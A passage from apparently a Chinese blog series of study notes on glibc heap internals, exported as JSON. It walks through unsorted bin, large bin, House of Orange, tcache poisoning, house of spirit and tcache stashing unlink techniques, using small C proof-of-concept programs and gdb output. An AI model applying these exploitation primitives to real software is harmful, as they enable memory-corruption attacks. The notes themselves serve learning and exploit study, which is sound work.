/* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck->bk)); if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert (chunk_main_arena (fwd)); while ((unsigned long) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize; assert (chunk_main_arena (fwd)); } if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; #define MAX_ITERS 10000 if (++iters >= MAX_ITERS) break;}\n\n\n        该代码主要阐述:当管理器从Unsorted Bin中取出chunk置入对应Bins的时,如何判断置入何处、做出哪些相应修改。\n        如果读者并不熟悉这段代码,并对其中的变量名感到困惑,可以暂且搁置,笔者将在后续补充这些内容以方便理解该代码。\n前置知识:\n        Unsorted Bin是先进后出(在两个chunk都满足malloc请求时先操作后入的)\n        Unsorted Bin是无序且紧凑的,放入该结构中的相邻chunk将被合并且直接放入头部\n        Large Bins的链表是有序的,排序规则为降序\n        了解bk_nextsize、fd_nextsize、bk、fd指针的指向目标\n        待补充\n\nUnsorted Bin Attack:        在解释Large Bin Attack之前,我觉得有必要先从Unsorted Bin Attack开始。笔者认为这将有助于读者理解之后的内容。如下内容摘自:CTF-WIKI\n概述Unsorted Bin Attack  该攻击与 Glibc 堆管理中的的 Unsorted Bin 的机制紧密相关\nUnsorted Bin Attack  被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针\nUnsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值(该值不可控)\n范例代码:(howtoheap2——unsorted_bin_attack)#include <stdio.h>#include <stdlib.h>int main(){unsigned long stack_var=0;unsigned long *p=malloc(400);malloc(500);free(p);p[1]=(unsigned long)(&stack_var-2);malloc(400);}\n\n\n         笔者删去了所有的fprintf以让上述代码看起来更加整洁,读者可以自行对代码进行调整\n代码调试:        运行上述程序到第13行;第二次malloc将  p 与Top chunk隔离,使其在free(p)时不会直接被并入Top chunk\n        此时的Bins中为:\ngdb-peda$ binsfastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0unsortedbinall: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000\n\n\n        对于不使用Fast Bins的chunk来说,在free时会先将其置入Unsorted Bin中\n        由于用户没有将 p 指针置NULL,因此我们能够通过操作 p 指针来改变 chunk的数据(14行)\ngdb-peda$ heap0x602000 PREV_INUSE { prev_size = 0x0, size = 0x1a1, fd = 0x7ffff7dd1b78 <main_arena+88>, bk = 0x7fffffffde08, fd_nextsize = 0x0, bk_nextsize = 0x0}\n\n\n        如上是修改后的 chunk p\n        其bk被指向了栈中的某个位置\n        而在第15行将申请一个0x400大小的chunk,刚好能够由 p 分配,则管理器将其从Bin中取出,此时发生了Unsorted Bin Attack,我们可以从条件背景中摘录部分关键代码来解释这个现象:\n/* remove from unsorted list */if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3");unsorted_chunks (av)->bk = bck;bck->fd = unsorted_chunks (av);\n\n\n        注:unsorted_chunks (av)返回指向 Unsorted Bin表头的指针,其bk指针指向最后一个节点\n        注:victim表示Unsorted Bin中最后一个节点\n        注:此处的bck = victim->bk;\n        该段代码作用为:\n\n将倒数第二个节点作为最后一个节点\n将倒数第二个节点的下一个节点指向表头\n\n       正常的操作当然不会引发问题,这两个操作成功将最后一个节点从Unsorted Bin中摘除\n        但范例中的bck=&stack_var-2,如果此时调用malloc,则摘除 chunk p ,触发上述情况\n        bck->fd处将被写入表头地址,这个地址并不是我们能够控制的,只能表示一个较大的值罢了\n        在用于修改一些长度限制时有奇效,但除此之外似乎并没有特别的用处\ngdb-peda$ p stack_var $1 = 0x7ffff7dd1b78\n\n\n0x602000 PREV_INUSE { prev_size = 0x0, size = 0x1a1, fd = 0x7ffff7dd1b78 <main_arena+88>, bk = 0x7fffffffde08, fd_nextsize = 0x0, bk_nextsize = 0x0}\n\n\n         可以发现,这个值stack_var的值被写为了表头地址\nLarge Bin Attack:        比起说明,笔者认为直接用代码更加便于理解\n        下示范例摘自参考文章第一个链接中的范例\n范例代码:#include<stdio.h>#include<stdlib.h> int main(){ unsigned long *p1, *p2, *p3, *p4, *p5, *p6, *p7, *p8, *p9, *p10, *p11, *p12; unsigned long *p; unsigned long stack[8] = {0}; printf("stack address: %p\\n", &stack); p1 = malloc(0x3f0); p2 = malloc(0x20); p3 = malloc(0x400); p4 = malloc(0x20); p5 = malloc(0x400); p6 = malloc(0x20); p7 = malloc(0x120); p8 = malloc(0x20); p9 = malloc(0x140); p10 = malloc(0x20); p11 = malloc(0x400); p12 = malloc(0x20); free(p7); free(p9); p = malloc(0x60); p = malloc(0xb0); free(p1); free(p3); free(p5); p = malloc(0x60); free(p11); //step 2-3-2-1 //*(p1-1) = 0x421; //p = malloc(0x60); //step 2-3-2-2-1 //p = malloc(0x60); //step 2-3-2-2-2 //*(p3-1) = 0x3f1; //p = malloc(0x60);// Attack part/* *(p3-1) = 0x3f1; *(p3) = (unsigned long)(&stack); *(p3+1) = (unsigned long)(&stack); *(p3+2) = (unsigned long)(&stack); *(p3+3) = (unsigned long)(&stack); // trigger malicious malloc p = malloc(0x60);*/ return 0;}\n\n\n代码调试:        首先断点定于25行,此时的Unsorted Bins中已放入p7,p9\nunsortedbinall: 0x602e10 —▸ 0x602cb0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602e10smallbinsemptygdb-peda$ p p7$1 = (unsigned long *) 0x602cc0gdb-peda$ p p9$2 = (unsigned long *) 0x602e200x602cb0 PREV_INUSE { prev_size = 0x0, size = 0x131, fd = 0x7ffff7dd1b78 <main_arena+88>, bk = 0x602e10, fd_nextsize = 0x0, bk_nextsize = 0x0}0x602e10 PREV_INUSE { prev_size = 0x0, size = 0x151, fd = 0x602cb0, bk = 0x7ffff7dd1b78 <main_arena+88>, fd_nextsize = 0x0, bk_nextsize = 0x0}\n\n\n        当用户malloc(0x60)时候,将把p7取出并切割分配给用户,并将剩余部分重新放回Unsorted Bin,再往前将其他块(此处为p9)放入对应的Bins中,\nunsortedbinall: 0x602d20 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602d20 /* ' -`' */smallbins0x150: 0x602e10 —▸ 0x7ffff7dd1cb8 (main_arena+408) ◂— 0x602e10\n\n\n 这里有几个细节需要注意:\nwhile ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))\n\n\n        如上是条件背景第一行,它将victim定为链表的最后一个单元,这意味着Unsorted Bin是从后往前遍历的(因此是先p7,再p9)\n        p7是小于p9的,它在Small Bin数组中应该位于索引较低的链表上;而申请结束后,p9被放入Small Bin,而p7被切割后放回Unsorted Bin,这意味着Small Bin是从低索引往高索引遍历的\n        注:有一个名为mark_bin (av, victim_index)的函数,它会将以victim_index为索引的chunk标记为”有空闲块“,因此扫描时总是先扫描该Bin有无空闲块,然后再往下\nunsortedbinall: 0x0smallbins0x150: 0x602e10 —▸ 0x7ffff7dd1cb8 (main_arena+408) ◂— 0x602e10\n\n\n        再一次申请,由于刚好大小符合Unsorted Bin,因此直接摘除\n        接下来一直运行到第32行:\nunsortedbinall: 0x602870 —▸ 0x602430 —▸ 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602870 /* 'p(`' */smallbins0x150: 0x602e10 —▸ 0x7ffff7dd1cb8 (main_arena+408) ◂— 0x602e10largebinsempty\n\n\n         p1、p3、p5都比较大,属于Large Bin的范畴,而再次申请后的Bins将如下:\nunsortedbinall: 0x602e80 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602e80smallbinsemptylargebins0x400: 0x602430 —▸ 0x602870 —▸ 0x602000 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x602430 /* '0$`' */\n\n\n        可以看见,顺序为p2——>p3——>p1,且存放在同一个Large Bin中(Large Bin有六十多个)\n        他们实则是降序排列的,但p2和p3由于大小相同,似乎不太好分辨相同size时该如何处理,这个疑问将在接下来注释的代码段中阐明,暂且继续往下:\nunsortedbinall: 0x602f90 —▸ 0x602e80 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602f90smallbinsemptylargebins0x400: 0x602430 —▸ 0x602870 —▸ 0x602000 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— 0x602430 /* '0$`' */gdb-peda$ p p11$3 = (unsigned long *) 0x602fa0\n\n\n        free(p11)后Bins的情况如上\nstep 2-3-2-1:        现在,我们将代码中注释的step 2-3-2-1下两行解开,重新编译,进入第37行的情况:\ngdb-peda$ heap0x602000 PREV_INUSE { prev_size = 0x0, size = 0x421, fd = 0x7ffff7dd1f68 <main_arena+1096>, bk = 0x602870, fd_nextsize = 0x602430, bk_nextsize = 0x602430}\n\n\n        我们发现,其修改了chunk p1的size,而此时的chunk p1正被挂在Large Bin 中的最后一个节点上,当我们再次malloc时候,将得到如下的Bin:\nunsortedbinall: 0x602ef0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602ef0smallbinsemptylargebins0x400: 0x602430 —▸ 0x602870 —▸ 0x602000 —▸ 0x602f90 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— ...\n\n\n         我们按照顺序标记出Large Bin中四个节点的大小:0x411、0x411、0x421、0x411\n        p11被挂到了最后,且p1也没有挂到前面去,这种现象是由于管理机制的漏洞所致:\n        堆管理器会默认当前Index下的链表的最后一个就是最小的块,然后把要放入的块和其比较,如果比当前最小块还小,那就直接放在最后,并直接返回了\n        因此篡改了本例种最后一个节点p1的大小,使得整个链表的“最小块”的尺寸增大,以至于出现上述现象\nstep 2-3-2-2-1:        现在注释掉step 2-3-2-1并解开step 2-3-2-2-1,重新编译并运行到41行\nunsortedbinall: 0x602ef0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602ef0smallbinsemptylargebins0x400: 0x602430 —▸ 0x602f90 —▸ 0x602870 —▸ 0x602000 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— ...\n\n\n        0x602f90 的Size也为0x411,它大于最小的块,因此将从该Index的链表头部开始往下遍历,并发现第一个节点的Size与其相同,于是直接将该节点放在第二个节点的位置,其他节点顺位往下\nstep 2-3-2-2-2:        注释掉step 2-3-2-2-1并解开step 2-3-2-2-2\n        程序在第44行篡改了第一个节点的Size,使其小于将要插入的块\n        于是当我们检索发现要插入的块其Size大于最小块,从头开始遍历,又发现其大于第一个节点,于是就将自己作为了新的头节点\nunsortedbinall: 0x602ef0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602ef0smallbinsemptylargebins0x400: 0x602f90 —▸ 0x602430 —▸ 0x602870 —▸ 0x602000 —▸ 0x7ffff7dd1f68 (main_arena+1096) ◂— ...\n\n\nAttack part:        最后,我们注释掉step 2-3-2-2-2,并解开Attack part的注释重新编译并运行到第49行\n        49至53行,代码篡改了chunk p3的内容,直接运行到54行,查看p3结构:\n0x602840 PREV_INUSE { prev_size = 0x0, size = 0x3f1, fd = 0x7fffffffdde0, bk = 0x7fffffffdde0, fd_nextsize = 0x7fffffffdde0, bk_nextsize = 0x7fffffffdde0}\n\n\n         当我们再次执行malloc时候,将会在该链表头部插入新的节点\n        此时,由于我们对原本的头部进行了数据的篡改,将导致堆地址的泄露\n        其原理与第四章所写的Unlink攻击有些相似\n        我们先从条件背景中摘抄出本范例在最后一个malloc时候会发生的事情:\n else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } }}mark_bin (av, victim_index);victim->bk = bck;victim->fd = fwd;fwd->bk = victim;bck->fd = victim;\n\n\n\nvictim为将要插入的chunk\nfwd为 下一个小于victim的节点\nbck见代码第8行(将会指向Bins的表头)\nvictim_index表示victim将要放入的Bin的索引\n\n        本例中,victim为 chunk p11,fwd将为chunk p3,bck则为&stack\n        在第6行处,将在(&stack+4)处写入victim的堆地址\n        在最后一行,将在(&stack+2)处写入victim的堆地址\ngdb-peda$ p &stack$5 = (unsigned long (*)[8]) 0x7fffffffdde0gdb-peda$ x /10gx 0x7fffffffdde00x7fffffffdde0:0x00000000000000000x00000000000000000x7fffffffddf0:0x00000000006033a00x00000000000000000x7fffffffde00:0x00000000006033a00x00000000000000000x7fffffffde10:0x00000000000000000x00000000000000000x7fffffffde20:0x00007fffffffdf100x131d22806a239e00\n\n         Large Bin Attack至此成功 ​\n插画ID:91443910\n","categories":["Note","Ptmalloc2内存管理"],"tags":["glibc"]},{"title":"关于如何理解Glibc堆管理器(Ⅵ——从House of Orange理解Heap是如何被拓展的)","url":"/2021/08/07/glibc-6/","content":"​\n本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。\n若有图片及文稿引用,将在本篇结尾处著名来源(也有置于篇首的情况)。\n参考文章:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange/\nhttps://blog.csdn.net/le119126/article/details/49338003\n正文:        本节没有太多内容。本想将IO_FILE一起并入说明,但似乎那样就超出了本专栏的内容了,因此便作罢,仅从一个简单的案例说明这样一个情况:\n当Top chunk不足以满足用户需求时,堆是如何拓展而为用户服务的\n        在第一章时曾提到过,当堆的空间不足以满足申请时,堆管理器有两种拓展方式,其一是使用brk函数使堆向高地址拓展;其二则是使用mmap进行地址映射,从内核直接申请内存\n        以及,读者可能还不了解House of Orange,但这并不影响接下来的阅读,单纯是一个引子罢了,读者可以将其理解为:不使用free也能将chunk放入Unsorted Bin中的方法\nmmap:        尽管本文的重点并不在mmap分配上,但笔者仍觉得有必要对其做些介绍\n        笔者将mmap的作用理解为:建立内存与磁盘的映射关系,从而达到“只要读写内存即可读写磁盘”的目的。由于只需要读写内存,因此不用read/write函数也能实现磁盘上读写\n        而在堆的分配中,当需要分配的chunk大小超过mmap分配的阈值(mmp_.mmap_threshold)时,管理器就会调用mmap来分配额外的heap,并在该heap完全不被使用时直接归还给内核\n        (注:mmp_.mmap_threshold通常为128K)\n        从这个角度来说,直接归还给内核的内存堆是难以利用的,因此也不在本文的主要讨论范围\n        可以参考:https://www.cnblogs.com/huxiao-tee/p/4660352.html\n        作者对mmap做了较为详细的介绍\nbrk:调试代码:#include <stdio.h>#define fake_size 0x1fe1int main(void){ size_t *p1,*p2,*p3,*p4; p1=malloc(0x10); p2=(void *)((int)p1+24); *((long long*)p2)=fake_size; p3=malloc(0x2000); p4=malloc(0x60);}\n\n\n        断点定于第8行\n        此时的堆结构为:\ngdb-peda$ heap0x602000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x20fe1}0x602020 PREV_INUSE { prev_size = 0x0, size = 0x20fe1, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}\n\n\n        p1为0x602000处的chunk,而Top chunk则为0x602020处的chunk\n        第八行代码处,我们将Top chunk的size字段修改为0x1fe1,此时如果我们再申请0x2000大小的chunk,显然Top chunk已经不足以满足我们的要求了,那么第9行代码执行之后,bins的结构将为:\nunsortedbinall: 0x602020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602020 /* ' `' */gdb-peda$ p p3$1 = (size_t *) 0x623010\n\n\n        此时,原本的Top chunk已经被放入了Unsorted Bin中,而p3获得了从0x623000处开始的chunk\n问题:fake_size的值是如何得来的,其他数值是否可行?\n        我们可以浏览如下代码得到答案:\nassert((old_top == initial_top(av) && old_size == 0) ((unsigned long) (old_size) >= MINSIZE && prev_inuse(old_top) && ((unsigned long)old_end & pagemask) == 0));\n\n\n        如果,原本的Top chunk还未初始化且size为0\n        或者,原Top chunk大小大于0x10,且前一个chunk被使用,且结束地址符合页对齐\n        那么则进行分配新的heap页\n        由于我们调用过一次malloc,因此Top chunk已经初始化,所以我们需要绕过的检查是第二个\n        1.伪造处的Size的最后一位必须为1,以表示前一个chunk处于使用(从实际情况考虑,只要没有遭到篡改,这是必然成立的条件)\n        2.结束地址符合页对齐。一个页面对应大小为4KB,既0x1000字节,也就是说,Top chunk的结束地址应该为0x1000的倍数\n        本例中原Top chunk为0x602020,只要保证 (0x602020+size)%0x1000==0即可,因此0x0fe1、0x1fe1等符合情况的均可\n        不妨试着计算一下这个新heap的大小:\ngdb-peda$ x /10gx 0x623000+0x20000x625000:0x00000000000000000x00000000000000000x625010:0x00000000000000000x0000000000020ff10x625020:0x00000000000000000x00000000000000000x625030:0x00000000000000000x00000000000000000x625040:0x00000000000000000x0000000000000000\n\n\n        可见其为0x23000,与第一个heap的0x21000还多出0x2000字节\n说回Bins的放入规则:        堆管理器将原本的Top chunk放入Unsorted Bin,并分配一个新的Heap然后分割成chunk p3和Top chunk\n        至于原本的Top chunk,如果读者细看了它的size变化,应该会发现少了0x20字节,其实只是被prev_size、size、fd、bk指针占用了而已\n        感觉这东西似乎没什么可说的,以至于笔者有点不知道该如何描述才能将这种思路表达清楚,还望见谅 ​\n插画ID:91095963\n","categories":["Note","Ptmalloc2内存管理"],"tags":["glibc"]},{"title":"关于如何理解Glibc堆管理器(Ⅶ——Tcache Bins!!)","url":"/2021/08/07/glibc-7/","content":"​\n本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。\n若有图片及文稿引用,将在本篇结尾处著名来源(也有置于篇首的情况)。\n        笔者本该将这一节的内容与第二节合并的,因为Tcache的并入并没有带来非常多的内容。但从结构上考虑,笔者一直以来都在使用glibc-2.23进行说明,在该版本下尚且没有引入Tcache Bins,因此这一节的内容一直拖欠到今。直到glibc-2.27开始,官方才引入了Tcache Bins结构,因此本节内容也将在该版本下进行说明(不过Ubuntu18确实用着比Ubuntu16来得舒服……)\n        (注:读者不应以笔者给出的代码为准。笔者为了方便理解而将“在别处定义而在本函数中被使用的内容”一并展示在代码栏中,实际上,某些定义并非在该处被定义)\nTcache 结构:/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */# define TCACHE_MAX_BINS64 typedef struct tcache_entry { struct tcache_entry *next; /* This field exists to detect double frees. */ struct tcache_perthread_struct *key; } tcache_entry;/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct"). Keeping overall size low is mildly important. Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons. */typedef struct tcache_perthread_struct{ char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS];} tcache_perthread_struct;static __thread tcache_perthread_struct *tcache = NULL;\n\n\n         每个线程都有一个tcache_perthread_struct结构体,该结构体即为Tcache Bins的结构体\n        可以注意到,每个线程最多只能有64个Tcache Bin,且用单项链表储存free chunk,这与Fast Bin是相同的,且它们储存chunk的大小也是严格分类,因此这一点上也相同\n        (注:笔者试着翻阅了源代码,tcache_entry结构体中的*key直到glibc-2.29才出现,此前的版本均没有这一项。但笔者对照了自己Ubuntu18.04版本中正在使用的libc-2.27.so发现,该系统已经引入了这一结构,因此本节会按照存在该结构的环境进行介绍)\n        (读者可在这里找到更新的commit:sourceware.org Git - glibc.git/blobdiff - malloc/malloc.c)\n        而操作该结构体的函数主要有这两个:\n/* This is another arbitrary limit, which tunables can change. Each tcache bin will hold at most this number of chunks. */# define TCACHE_FILL_COUNT 7static __always_inline voidtcache_put (mchunkptr chunk, size_t tc_idx){ tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); /* Mark this chunk as "in the tcache" so the test in _int_free will detect a double free. */ e->key = tcache; e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); }/* Caller must ensure that we know tc_idx is valid and there's available chunks to remove. */static __always_inline void *tcache_get (size_t tc_idx){ tcache_entry *e = tcache->entries[tc_idx]; assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0); tcache->entries[tc_idx] = e->next; --(tcache->counts[tc_idx]); return (void *) e;}\n\n\n        前者向Bins中放入chunk,后者则从中取出chunk。且每个Tcache Bin最多存放7个chunk(不过这段代码没能体现出来,该限制在malloc中存在,具体内容之后讲解)\n\n        chunk2mem 将返回chunk p的头部\n        tc_idx 表示Tcache Bins的索引\n        tcache->counts[tc_idx]指示索引为tc_idx的Bins中存放的chunk数\n\n        如下为Tcache Bins分配规则:(内容摘自CTF-WIKI)\n内存申请:\n在内存分配的 malloc 函数中有多处,会将内存块移入 tcache 中\n\n首先,申请的内存块符合 fastbin 大小时并且在 fastbin 内找到可用的空闲块时,会把该 fastbin 链上的其他内存块放入 tcache 中\n其次,申请的内存块符合 smallbin 大小时并且在 smallbin 内找到可用的空闲块时,会把该 smallbin 链上的其他内存块放入 tcache 中\n当在 unsorted bin 链上循环处理时,当找到大小合适的链时,并不直接返回,而是先放到 tcache 中,继续处理\n\n\ntcache 取出:在内存申请的开始部分,首先会判断申请大小块,并验证 tcache 是否存在,如果存在就直接从 tcache 中摘取,否则再使用_int_malloc 分配\n在循环处理 unsorted bin 内存块时,如果达到放入 unsorted bin 块最大数量,会立即返回。不过默认是 0,即不存在上限\n\n#if USE_TCACHE /* If we've processed as many chunks as we're allowed while filling the cache, return one of the cached ones. */ ++tcache_unsorted_count; if (return_cached && mp_.tcache_unsorted_limit > 0 && tcache_unsorted_count > mp_.tcache_unsorted_limit) { return tcache_get (tc_idx); }#endif\n\n\n        关于具体的代码实现,笔者打算将其留作最后几节的完结篇,因此这里不做代码分析,仅给出结论,并在之后的代码调试中验证结论\n        实际上Tcache的内容就这么多,在理解了前三个Bins结构之后,笔者发现似乎已经没有其他可以讨论的内容了;但读者可能也发现了,对Tcache Bin进行操作的函数似乎非常简单,几乎没有做安全性检查,这也同样是事实,不过目前笔者还没有贴出完全的代码,因此整体还并不明朗,读者可以自行查阅相关资料,或是阅读笔者之后的几篇代码分析\n        仅从结论来说,Tcache 确实不如最早的那三个来得安全(至少目前是这样)\n代码调试:tcache_poisoning:(删除了大多数说明)#include <stdio.h>#include <stdlib.h>#include <stdint.h>#include <assert.h>int main(){size_t stack_var;intptr_t *a = malloc(128);intptr_t *b = malloc(128);free(a);free(b);b[0] = (intptr_t)&stack_var;intptr_t *c = malloc(128);intptr_t *d = malloc(128);return 0;}\n\n\n        我们可以直接断点在第15行,此时的Bins结构为:\ngdb-peda$ binstcachebins0x90 [ 2]: 0x5555557562f0 —▸ 0x555555756260 ◂— 0x0\n\n\n        (不过唯独Tcache Bins显示的地址是&chunk+0x10) \nFree chunk (tcache) PREV_INUSEAddr: 0x555555756250Size: 0x91fd: 0x00Free chunk (tcache) PREV_INUSEAddr: 0x5555557562e0Size: 0x91fd: 0x555555756260\n\n\n        显然,此时chunk a与b均非放入Tcache Bins中,这也说明,其优先级甚至要高于Fast Bins\n        再以chunk b为例,查看一下Tcache的结构:\ngdb-peda$ x /6gx 0x5555557562e00x5555557562e0:0x00000000000000000x00000000000000910x5555557562f0:0x00005555557562600x00005555557560100x555555756300:0x00000000000000000x0000000000000000\n\n\n         它没有prev_size,但几乎和Fast Bin中的chunk是一样的,同时也不会合并,不会将Size中的P位标记置零,同时它们拥有共同的bk指针,这个指针有些特殊,它们会指向该线程的Tcache Bins表头,并被用作一个“key”,当对某个chunk进行free的时候便会遍历搜索,查看它是否已经被放入Tcache Bins,由此来防止出现Double Free的情况\nAllocated chunk PREV_INUSEAddr: 0x555555756000Size: 0x251\n\n\n          继续往下,程序伪造了chunk b的fd指针,此时的Bins为:\ntcachebins0x90 [ 2]: 0x5555557562f0 —▸ 0x7fffffffdeb8 ◂— 0x0\n\n\n         则在第二次申请时,将得到一个指向栈的地址:\ngdb-peda$ p d$1 = (intptr_t *) 0x7fffffffdeb0\n\n\ntcache house of spirit:#include <stdio.h>#include <stdlib.h>#include <assert.h>int main(){setbuf(stdout, NULL);malloc(1);unsigned long long *a; //pointer that will be overwrittenunsigned long long fake_chunks[10]; //fake chunk regionfake_chunks[1] = 0x40; // this is the sizea = &fake_chunks[2];free(a);void *b = malloc(0x30);assert((long)b == (long)&fake_chunks[2]);}\n\n\n         同样删除了几乎所有的注释\n        直接运行到第8行\n        首先申请一块内存来初始化堆结构,然后在栈上构造起fake_chunks结构,并以0x40作为该chunk的size\n        此时如果对这个chunk进行free,那么这个伪造好的chunk就会被放进Bins中,并在接下来申请时候被返回:\ntcachebins0x40 [ 1]: 0x7fffffffde90 ◂— 0x0\n\n\ngdb-peda$ p b$1 = (void *) 0x7fffffffde90\n\n\n         由此可见,在glibc2.27版本中,对Tcache的合法性检查并不严谨,就连官方都曾表示:“在free之前需要确保该指针是安全的”(大致是这个意思)\ntcache_stashing_unlink_attack:(有稍微改动)#include <stdio.h>#include <stdlib.h>#include <assert.h>int main(){ unsigned long stack_var[0x10] = {0}; unsigned long *chunk_lis[0x10] = {0}; unsigned long *target; setbuf(stdout, NULL); stack_var[3] = (unsigned long)(&stack_var[2]); //now we malloc 9 chunks for(int i = 0;i < 9;i++){ chunk_lis[i] = (unsigned long*)malloc(0x90); } //put 7 chunks into tcache for(int i = 3;i < 9;i++){ free(chunk_lis[i]); } //last tcache bin free(chunk_lis[1]); //now they are put into unsorted bin free(chunk_lis[0]); free(chunk_lis[2]); //convert into small bin unsigned long *a=malloc(0xa0);// size > 0x90 //now 5 tcache bins unsigned long *b=malloc(0x90); unsigned long *c=malloc(0x90); //change victim->bck /*VULNERABILITY*/ chunk_lis[2][1] = (unsigned long)stack_var; /*VULNERABILITY*/ //trigger the attack unsigned long *d=calloc(1,0x90); //malloc and return our fake chunk on stack target = malloc(0x90); assert(target == &stack_var[2]); return 0;}\n\n\n        第一个断点于第26行,此时,程序开辟了9个相同大小的chunk,并free掉了后6个和第二个,剩下第一个和第三个\n        此时,Tcache Bin已经装满,接下来的释放将把chunk 放入Unsorted Bin:\ntcachebins0xa0 [ 7]: 0x555555756300 —▸ 0x555555756760 —▸ 0x5555557566c0 —▸ 0x555555756620 —▸ 0x555555756580 —▸ 0x5555557564e0 —▸ 0x555555756440 ◂— 0x0unsortedbinall: 0x555555756390 —▸ 0x555555756250 —▸ 0x7ffff7dcdca0 (main_arena+96) ◂— 0x555555756390\n\n\n         接下来开辟chunk a,因为没有能够满足0xa0的free chunk,因此直接往下开辟新的chunk,且将Unsorted Bin中的内容放入Small Bin中\n        然后开辟chunk b与c,由于Tcache Bin中有合适的,因此相继拿出第一个节点分配给它们\n        接下来伪造chunk_lis[2]的bk指针\ngdb-peda$ binstcachebins0xa0 [ 5]: 0x5555557566c0 —▸ 0x555555756620 —▸ 0x555555756580 —▸ 0x5555557564e0 —▸ 0x555555756440 ◂— 0x0smallbins0xa0 [corrupted]FD: 0x555555756390 —▸ 0x555555756250 —▸ 0x7ffff7dcdd30 (main_arena+240) ◂— 0x555555756390BK: 0x555555756250 —▸ 0x555555756390 —▸ 0x7fffffffddd0 —▸ 0x7fffffffdde0 ◂— 0x0largebins\n\n\n        此时,如果程序调用calloc函数,则会触发一个特殊的机制:如果对应的Tcache Bin中仍有空余,则在分配给用户chunk之后,把Small Bin中其他的chunk放入Tcache Bin中,直到Tcache Bin放满,或者Small Bin放完\n        其Unlink操作代码如下:\n while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin){ if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena)set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); }\n\n\n         由于存在bck->fd = bin,因此,在本例中,当向Tcache Bin中放入Small Bin中放入 0x7fffffffddd0(即fake_chunk)后,将往0x7fffffffdde0->fd处写入bin的地址,由此造成libc地址泄露\ntcachebins0xa0 [ 7]: 0x7fffffffdde0 —▸ 0x5555557563a0 —▸ 0x5555557566c0 —▸ 0x555555756620 —▸ 0x555555756580 —▸ 0x5555557564e0 —▸ 0x555555756440 ◂— 0x0smallbins0xa0 [corrupted]FD: 0x555555756390 —▸ 0x5555557566c0 ◂— 0x0BK: 0x7fffffffdde0 ◂— 0x0gdb-peda$ x /8gx 0x7fffffffddc00x7fffffffddc0:0x00005555557562600x00007ffff7dde39f0x7fffffffddd0:0x00000000000000000x00000000000000000x7fffffffdde0:0x00005555557563a00x00005555557560100x7fffffffddf0:0x00007ffff7dcdd300x0000000000000000\n\n\n         由于0x7fffffffddd0  的放入导致了Tcache Bin满员,所以0x7fffffffdde0被没放入Tcache Bin中,而其fd保留了bin的地址\n        0x7fffffffddd0 被放入Tcache Bin中时,调用该函数\ntcache_put (tc_victim, tc_idx);\n\n\n         这个函数将0x7fffffffdde0->fd处的bin地址又用Tcache->fd的地址覆盖,因此没能在该chunk处泄露,倘若0x7fffffffdde0放入后,Tcache Bin仍未满员,那么0x7fffffffdde0也会被放入,则0x7fffffffdde0->fd中的bin地址也会被覆盖,因此,该利用必须严格控制Tcache Bin中的chunk数量\n总结:        先开辟9个相同大小的chunk,并且全都释放,使其中7个均被放入相同索引的Tcache Bin,而两个被放入Unsorted Bin中(这两个不应该在地址上相邻)\n        通过请求更大的chunk,使得Unsorted Bin中的chunk被放入Small Bin中\n        由于Small 